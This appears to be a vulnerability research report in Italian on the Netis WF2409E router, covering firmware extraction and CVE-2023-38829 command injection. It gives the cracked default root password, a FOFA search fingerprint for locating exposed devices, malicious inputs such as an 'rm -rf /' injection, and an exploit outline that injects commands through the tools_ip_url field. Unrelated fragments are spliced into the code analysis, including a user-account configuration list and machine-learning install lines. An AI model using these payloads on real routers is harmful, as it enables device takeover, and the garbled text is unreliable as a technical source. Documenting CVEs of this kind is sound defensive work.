Report del dispositivo Netis WF2409E

1. Panoramica del dispositivo

1.1 Tabella delle specifiche principali

1.2 Tabella dei test di funzionalità

1.3 Componenti principali del sistema

2. Analisi dei pin

2.1 Connessione al dispositivo tramite porta seriale

3. Log di avvio, comandi del bootloader e SO

3.1 Analisi del log di avvio

Caratteristiche del processore

Caratteristiche della memoria Flash

Informazioni sul bootloader

Impostazioni di rete predefinite

Informazioni sul software di sistema

Stato dei servizi

È importante notare che questo dispositivo probabilmente non utilizza U-Boot. I segni chiave:

1. Il log inizia direttamente con le informazioni di avvio RealTek: ---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/master/380MHz)
2. Mancano segni tipici dell'avvio U-Boot:
   • Nessuna informazione sulla versione U-Boot
   • Nessuna informazione sull'inizializzazione delle variabili d'ambiente U-Boot
   • Nessun prompt della riga di comando U-Boot
3. RTL8196E è un chip router economico di RealTek; molti dispositivi basati su di esso utilizzano un bootloader RealTek proprietario invece di U-Boot.
4. Considerando la piccola quantità di memoria Flash (4MB), l'uso di un bootloader leggero è più logico. In effetti non è stato possibile trovare un modo per accedere a U-Boot.

3.2 Analisi del bootloader

Per accedere al bootloader è necessario tenere premuto il tasto Esc durante l'avvio:

Set completo di comandi del bootloader RealTek

Esempio di lettura memoria:

Comandi Bootloader:

<RealTek> FLR 80000000 0 100 #Lettura da Flash DB 80000000 100 #Visualizzazione contenuto memoria

3.3 Analisi dell'ambiente shell

Comandi shell di base

Struttura dettagliata delle directory di sistema (/bin — strumenti importanti)

Informazioni chiave della directory /proc

Elenco processi:

3.4 Descrizione dei principali componenti hardware

4. Analisi delle informazioni sui punti di montaggio

4.1 Acquisizione delle informazioni sul montaggio delle partizioni

4.2 Nel sistema sono definite tre principali punti di montaggio:

• /dev/mtdblock1 montato come directory root /
• none montato come file system dei processi /proc
• tmpfs montato come file system temporaneo /var

Analisi dettagliata

4.2.1. File system di root

Il file system di root è configurato come segue:

• Dispositivo: /dev/mtdblock1
• Tipo di file system: squashfs
• Opzioni di montaggio: sola lettura (ro)
• Scopo: archiviazione di file di sistema e programmi

Ciò indica l'uso di memoria Flash MTD come supporto, con i file di sistema protetti e ottimizzati in termini di volume tramite sola lettura e compressione squashfs.

4.2.2 File system dei processi

Il file system dei processi è configurato come segue:

• Dispositivo: none (file system virtuale)
• Tipo di file system: proc
• Opzioni di montaggio: lettura-scrittura (rw)
• Scopo: fornire un'interfaccia per l'accesso alle informazioni di sistema e dei processi

4.2.3 File system temporaneo

Il file system temporaneo è configurato come segue:

• Dispositivo: tmpfs (file system in memoria)
• Punto di montaggio: /var
• Limite di dimensione: 230 KB
• Opzioni di montaggio: lettura-scrittura (rw)
• Scopo: archiviazione di file temporanei e dati durante il funzionamento

4.2.4 È stato rilevato che la maggior parte dei comandi nel sistema è assente

5. Struttura e formato del firmware

5.1 Ottenimento del firmware "netis.bin"

5.2 Esecuzione dell'analisi entropica:

binwalk -E --save netis.bin

5.3 Analisi delle intestazioni:

binwalk netis.bin

5.4 Per eseguire l'estrazione si utilizzano gli argomenti –reM. E ottenere:

5.5 Tabella dei risultati dell'analisi

Offset	Intestazione partizione
0x12F0
0x32818

6. File system dopo l'estrazione del firmware

6.1 File system dopo l'estrazione:

6.2 Documenti importanti

6.2.1 etc/passwd:

Utilizzando il servizio di decifratura hash https://hashes.com/en/decrypt/hash, la password di root è stata recuperata con successo come realtek.

6.2.2 web/welcome.htm:

Questa è la pagina dell'interfaccia web predefinita

7. Marcatori, impronta digitale per FOFA, statistiche

Ricerca di dispositivi in FOFA tramite caratteristiche in web/welcome.htm:

Comandi di ricerca: body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"

Per accedere al pannello di amministrazione del dispositivo potrebbe essere richiesta l'autenticazione tramite login e password

Dopo l'autenticazione riuscita è possibile accedere al pannello di amministrazione

8. Script di identificazione

Prima di tutto, usando il comando ~/squashfs-root/web$ find sono state trovate le directory disponibili, e tramite Burpsuit è stata verificata la loro accessibilità:| | Payload | Code | | Lenth | | ------ | ------------------------------- | ------- | ----- | --------- | | 1 | /cgi-bin | 200 | | 167 | | 2 | /cgi-bin/cgitest.cgi | - | ERROR | - | | 3 | /script | 200 | | 168 | | 4 | /script/init.js | 200 | | 1282 | | 5 | /script/logic.js | 200 | | 65677 | | 6 | /script/menu.js | 200 | | 4976 | | 7 | /script/netcore.js | 200 | | 151935 | | 8 | /script/action.js | 200 | | 182624 | | 9 | /script/debug.js | 200 | | 28570 | | ==10== | ==/version.txt== | ==200== | | ==206== | | ==11== | ==/update.htm== | ==200== | | ==1230== | | 12 | /config | 200 | | 168 | | 13 | /config/language_es.js | 200 | | 79333 | | 14 | /config/language_it.js | 200 | | 76802 | | 15 | /config/language_id.js | 200 | | 74795 | | 16 | /config/language_du.js | 200 | | 78782 | | 17 | /config/language_ma.js | 200 | | 73594 | | 18 | /config/language_po.js | 200 | | 76458 | | 19 | /config/language_tu.js | 200 | | 77747 | | 20 | /config/language_fr.js | 200 | | 78165 | | 21 | /config/language_ro.js | 200 | | 73621 | | 22 | /config/language_cz.js | 200 | | 75968 | | 23 | /config/language_ua.js | 200 | | 98335 | | 24 | /config/language_us.js | 200 | | 84173 | | 25 | /config/config.js | 200 | | 75899 | | 26 | /config/language_ru.js | 200 | | 108998 | | 27 | /config/language_de.js | 200 | | 78674 | | 28 | /config/language_pt.js | 200 | | 77954 | | 29 | /config/language_cn.js | 200 | | 62001 | | 30 | /config/language_tc.js | 200 | | 74268 | | 31 | /system_log.txt | 404 | | 330 | | ==32== | ==/index.htm== | ==200== | | ==4336== | | 33 | /css | 200 | | 167 | | 34 | /css/style.css | 200 | | 5441 | | 35 | /css/netcore.css | 200 | | 11536 | | 36 | /css/welcome.css | 200 | | 6270 | | 37 | /Config.tgz | 404 | | 326 | | 38 | /images | 200 | | 168 | | 39 | /images/first.png | 200 | | 838 | | 40 | /images/icon_no.gif | 200 | | 240 | | 41 | /images/top_right_bg.gif | 200 | | 222 | | 42 | /images/logo_netis.png | 200 | | 7297 | | 43 | /images/icon_jian.gif | 200 | | 239 | | 44 | /images/show_pwd.png | 200 | | 1433 | | 45 | /images/icon_no1.gif | 200 | | 498 | | 46 | /images/nextt.png | 200 | | 1026 | | 47 | /images/lastt.png | 200 | | 845 | | 48 | /images/icon_intro_internet.gif | 200 | | 6994 | | 49 | /images/help_b1.gif | 200 | | 540 | | 50 | /images/high.gif | 200 | | 10846 | | 51 | /images/yandex_en.png | 200 | | 3519 | | 52 | /images/help_b1.jpg | 200 | | 620 | | 53 | /images/back.gif | 200 | | 379 | | 54 | /images/icon_intro_wireless.jpg | 200 | | 3838 | | 55 | /images/icon_jian1.gif | 200 | | 490 | | 56 | /images/left_021.jpg | 200 | | 558 | | 57 | /images/edit.gif | 200 | | 365 | | 58 | /images/pre.png | 200 | | 1029 | | 59 | /images/btn_mobile_setup.jpg | 200 | | 3053 | | 60 | /images/icon_now.gif | 200 | | 242 | | 61 | /images/top_right_bg.jpg | 200 | | 223 | | 62 | /images/bg_intro_bottom.png | 200 | | 3562 | | 63 | /images/favicon.ico | 200 | | 4458 | | 64 | /images/btn_quick_setup.jpg | 200 | | 4353 | | 65 | /images/bg_intro_top.png | 200 | | 3605 | | 66 | /images/mt-link.gif | 200 | | 5823 | | 67 | /images/link.gif | 200 | | 1045 | | 68 | /images/del.gif | 200 | | 313 | | ==69== | ==/images/Makefile== | ==200== | | ==593== | | 70 | /images/icon_jia1.gif | 200 | | 490 | | 71 | /images/blue.jpg | 200 | | 2584 | | 72 | /images/normal.gif | 200 | | 10818 | | 73 | /images/yandex.png | 200 | | 2159 | | 74 | /images/bg_leftmenu.gif | 200 | | 686 | | 75 | /images/icon_jia.gif | 200 | | 252 | | 76 | /images/icon_now1.gif | 200 | | 487 | | ==77== | ==/welcome.htm== | ==200== | | ==30155== | | ==78== | ==/index.html== | ==200== | | ==326== | | 79 | /help | 200 | | 166 | | ==80== | ==/backup.htm== | ==200== | | ==1304== |

Potenziali posizioni delle informazioni:

Dopo la verifica, possiamo trovare le seguenti informazioni nel file ==/version.txt==:

• Versione del firmware (firmware version)
• Data di compilazione (build date)
• Informazioni sul server Boa (ottenute dal campo Server nell'intestazione della risposta HTTP)

L'estrazione di queste informazioni è stata implementata tramite uno script Python:

9. Elenco delle vulnerabilità con CVSS

9.1 Elenco delle vulnerabilità

Attualmente in questo dispositivo sono state rilevate le seguenti vulnerabilità, tra cui la vulnerabilità CVE-2023-38829 è una vulnerabilità di iniezione di comandi presente nel modulo di test di rete del router NETIS SYSTEMS Router WF2409E nelle funzioni ping e traceroute. Attraverso l'interfaccia di amministrazione web è possibile iniettare comandi dannosi nei parametri di queste funzioni, portando all'esecuzione di comandi.

9.2 Verifica della vulnerabilità

Per verificare la presenza di questa vulnerabilità, ho effettuato l'accesso al pannello di amministrazione del router e ho testato la vulnerabilità nelle funzioni ping e traceroute. Qui ho iniettato il comando cd && ls && cd etc/ && cat passwd, che ha visualizzato il contenuto del file delle password.

Di seguito è mostrato l'output del pannello di amministrazione del router durante l'iniezione del comando, confermando la presenza della vulnerabilità.

9.3 Valutazione della vulnerabilità secondo il sistema CVSS

Analisi CVSS 3.1 delle vulnerabilità di iniezione di comandi rilevate:

1. Valutazione dei parametri di base:

   • Vettore di attacco (AV): Rete (N), poiché è possibile lo sfruttamento remoto
   • Complessità dell'attacco (AC): Bassa (L), poiché è richiesto solo l'invio di una richiesta HTTP
   • Privilegi richiesti (PR): Bassi (L), sono richiesti i diritti di base dell'utente (autenticazione nell'interfaccia di amministrazione del dispositivo)
   • Interazione con l'utente (UI): Nessuna (N), non richiede azioni dell'utente
   • Ambito di impatto (S): Modificato (C), può influenzare altri dispositivi connessi al router

2. Metriche di impatto:

   • Impatto sulla riservatezza (C): Alto (H), possibile ottenere accesso completo al sistema
   • Impatto sull'integrità (I): Alto (H), possibile modificare qualsiasi file di sistema
   • Impatto sulla disponibilità (A): Alto (H), possibile influenzare il funzionamento del dispositivo

3. Metriche temporali di valutazione:
   • Maturità dell'exploit (E): Esiste un exploit funzionante (F)
   • Livello di correzione (RL): Correzione ufficiale (O)
   • Affidabilità del report (RC): Confermato (C)

Punteggio finale: 9.2/10 punti, che appartiene alla categoria 'critica'. Vector CVSS: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

Un punteggio così elevato della vulnerabilità è dovuto ai seguenti motivi:

• Possibilità di sfruttamento remoto senza condizioni particolari
• Possibilità di ottenere privilegi di root senza autenticazione
• Impatto completo sulla sicurezza del sistema
• Semplicità di sfruttamento della vulnerabilità

10. Analisi delle vulnerabilità deboli (BO o CI)

Per prima cosa troviamo i file che potrebbero contenere vulnerabilità: find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi

Presumo che le vulnerabilità possano manifestarsi nei programmi CGI, quindi per iniziare proverò ad analizzare il file ./web/cgi-bin/cgitest.cgi con IDA Pro.

Per prima cosa bisogna trovare i punti di chiamata di funzioni simili; tramite una ricerca sono riuscito a trovare la stringa "killall ping". Analizzando il punto di chiamata, si può vedere che il programma, dopo l'inizializzazione delle funzioni ping e traceroute, chiama /bin/network_test.sh

E il punto in cui si trova la vulnerabilità è proprio nel modulo di test di rete. Bene, dobbiamo analizzare /bin/network_test.sh.

Analisi di network_test.sh

Innanzitutto è necessario effettuare una ricerca.

Troviamo la funzione network_test_sh: ......

Analizzando in dettaglio la funzione, si possono individuare i moduli di esecuzione dei comandi e di salvataggio dei risultati.

In essi: Esecuzione del comando ping: ping -c %d -s %d %s -W %d > %s &

• Parametri ping:
  • -c: numero di ping
  • -s: dimensione del pacchetto dati (meno 8 byte)
  • -W: timeout
  • indirizzo IP di destinazione dalla configurazione

Esecuzione del comando traceroute: traceroute -I -m %d %s > %s &

• Parametri traceroute:
  • -I: utilizzo del protocollo ICMP
  • -m: numero massimo di hop
  • indirizzo IP di destinazione dalla configurazione

Analisi dettagliata della vulnerabilità```

Ситуация с командой ping

loc_4205B8: lw v0, 0x108+var_D4(sp) #прямая загрузка параметров lw a3, 0x108+var_D8(sp) la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf

- `extra_users` (opzionale, lista): Un elenco di account utente aggiuntivi da creare sul target.
  - `name`: Nome utente per il nuovo account.
  - `password`: Password per il nuovo account (verrà hashata in modo sicuro).
  - `groups` (opzionale, lista): Un elenco di gruppi aggiuntivi a cui aggiungere l'utente.
  - `ssh_key` (opzionale, stringa): Una chiave SSH pubblica da aggiungere a authorized_keys dell'utente.
- `domain_name` (opzionale, stringa): Nome di dominio per l'email amministrativa (es. `example.com`).
- `github_username` (opzionale, stringa): Nome utente GitHub contenente chiavi SSH.
- `sudo_username` (opzionale, stringa): L'utente principale per cui configurare sudo (default: `deploy`).
- `locale` (opzionale, stringa): Locale di sistema (default: `en_US.UTF-8`).```
# Ситуация с командой traceroute
loc_420574:
la $t9, sprintf #также прямой вызов sprintf
lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров

# pip install stable-baselines3
pip install sb3-contrib

Dopo aver installato le librerie, puoi procedere con la configurazione e l'addestramento del modello. Tieni presente che per lavorare con alcuni algoritmi potrebbe essere necessario installare dipendenze aggiuntive.```

После построения команды происходит прямое выполнение

la $t9, run_by_system jalr $t9 ; run_by_system #прямой вызов system для выполнения команды move $a0, $s1 #отсутствуют проверки безопасности

![](https://assets.kitploit.com/production/public/readmes/21494/1e9088ba6dfbbf334108926751cc5cf1245a23972df7ce3d48d323b46c27c015.png)

Nel codice manca una sufficiente validazione dei parametri di input, creando un potenziale rischio di injection di comandi. Un attaccante può manipolare il parametro IP passato per eseguire comandi shell, ad esempio:```
# Нормальный ввод 192.168.0.1

# Примеры вредоносного ввода
192.168.0.1; rm -rf / #удаление файлов
192.168.0.1 & id & #выполнение произвольных команд

11. Script di sfruttamento

11.1. Panoramica dello script

Questo script sfrutta una vulnerabilità di iniezione di comandi nell'interfaccia web del dispositivo per eseguire comandi da remoto tramite richieste HTTP appositamente create. Lo script sfrutta la vulnerabilità utilizzando due richieste HTTP POST: la prima richiesta inietta il comando, la seconda ottiene il risultato dell'esecuzione.

Il primo pacchetto (netcore_set.cgi) è destinato a: iniezione ed esecuzione del comando

Il secondo pacchetto (netcore_get.cgi) è destinato a: ottenere il risultato dell'esecuzione del comando

11.2 Prima fase: iniezione del comando

1. Formazione del corpo della richiesta POST con i seguenti parametri chiave:``` { "mode_name": "netcore_set", "tools_type": "2", "tools_ip_url": f"| {command}", # точка инъекции команды "tools_cmd": "1", "net_tools_set": "1" }

2. Codifica URL di tutti i parametri
3. Invio della richiesta POST a netcore_set.cgi

### 11.3 Seconda Fase: ottenimento dei risultati

1. Formazione della seconda richiesta POST:```
	{ "mode_name": "netcore_get",    
	  "noneed": "noneed" }

2. Invio della richiesta a netcore_get.cgi
3. Parsing del campo tools_results nella risposta per ottenere il risultato dell'esecuzione del comando

11.4 Test degli script

Per testare lo script ho creato un file ceshi sull'host e ho provato a caricarlo sul dispositivo tramite lo script

Successo!

In realtà questa vulnerabilità permette di ottenere il pieno controllo del dispositivo, poiché il dispositivo utilizza di default l'accesso root